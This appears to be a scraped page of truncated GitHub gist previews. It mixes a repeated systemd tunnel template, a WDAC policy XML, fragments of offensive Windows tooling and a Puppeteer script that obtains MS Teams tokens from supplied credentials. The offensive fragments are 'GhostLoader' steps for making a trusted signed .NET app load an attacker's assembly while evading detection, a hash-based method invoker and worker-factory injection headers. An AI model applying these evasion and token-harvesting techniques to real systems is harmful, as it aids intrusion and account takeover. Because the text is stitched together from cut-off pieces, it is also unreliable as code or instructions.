Create a template service file at /etc/systemd/system/[email protected]
. The template parameter will correspond to the name
of target host:
[Unit]
Description=Setup a secure tunnel to %I
After=network.target
<?xml version="1.0"?> | |
<SiPolicy xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="urn:schemas-microsoft-com:sipolicy"> | |
<VersionEx>10.0.3.14</VersionEx> | |
<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID> | |
<PolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyID> | |
<BasePolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</BasePolicyID> | |
<Rules> | |
<Rule> | |
<Option>Enabled:UMCI</Option> | |
</Rule> |
Create a template service file at /etc/systemd/system/[email protected]
. The template parameter will correspond to the name
of target host:
[Unit]
Description=Setup a secure tunnel to %I
After=network.target
GhostLoader Steps :)
1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe
We can do this by experimenting with .config files.
Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name
In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.
We do this by directing the application to read a config file we provide.
using System.Linq; | |
using System.Reflection; | |
namespace HashInvoke; | |
public class HInvoke | |
{ | |
public static T InvokeMethod<T>(uint classID, uint methodID, object[]? args = null) | |
{ | |
// Get the System assembly and go trough all its types hash their name |
#include <Windows.h> | |
#include <winternl.h> | |
#include <stdio.h> | |
#define WORKER_FACTORY_FULL_ACCESS 0xf00ff | |
// https://github.com/winsiderss/systeminformer/blob/17fb2e0048f062a04394c4ccd615b611e6ffd45d/phnt/include/ntexapi.h#LL1096C1-L1115C52 | |
typedef enum _WORKERFACTORYINFOCLASS | |
{ | |
WorkerFactoryTimeout, // LARGE_INTEGER |
using NtApiDotNet; | |
using NtApiDotNet.Ndr.Marshal; | |
using NtApiDotNet.Win32; | |
using NtApiDotNet.Win32.Rpc.Transport; | |
using NtApiDotNet.Win32.Security.Authentication; | |
using NtApiDotNet.Win32.Security.Authentication.Kerberos; | |
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client; | |
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server; | |
using NtApiDotNet.Win32.Security.Authentication.Logon; | |
using System; |
var fso = new ActiveXObject("Scripting.FileSystemObject"); | |
var ado = (function() { | |
if (typeof window === "undefined") { | |
return new ActiveXObject("ADODB.Stream"); | |
} else { | |
var _GetObject = (typeof GetObject === "function") ? GetObject : (function() { | |
var script = window.document.createElement("script"); | |
script.setAttribute("language", "VBScript"); | |
script.innerHTML = "Function GetObjectHelper(name)\nSet GetObjectHelper = GetObject(name)\nEnd Function"; | |
window.document.body.appendChild(script); |
#include <windows.h> | |
#include <wchar.h> | |
#define LOAD_LIBRARY_SEARCH_SYSTEM32 (0x00000800) | |
HMODULE loadlibrary_system(const wchar_t* name) | |
{ | |
/* If running on Windows 8 or a system with KB2533623, LoadLibraryEx with | |
LOAD_LIBRARY_SEARCH_SYSTEM32 does the right thing */ | |
if (GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "AddDllDirectory")) |
// Obtain teams token - you can reuse it for GoMapEnum for example | |
// Author: Juan Manuel Fernandez (@TheXC3LL) | |
const puppeteer = require('puppeteer'); | |
(async () => { | |
console.log("\t\tMS Teams Token Generator - @TheXC3LL\n\n"); | |
const username = process.argv[2]; | |
const password = process.argv[3]; | |
console.log("[*] Using credentials: %s:%s", username, password); |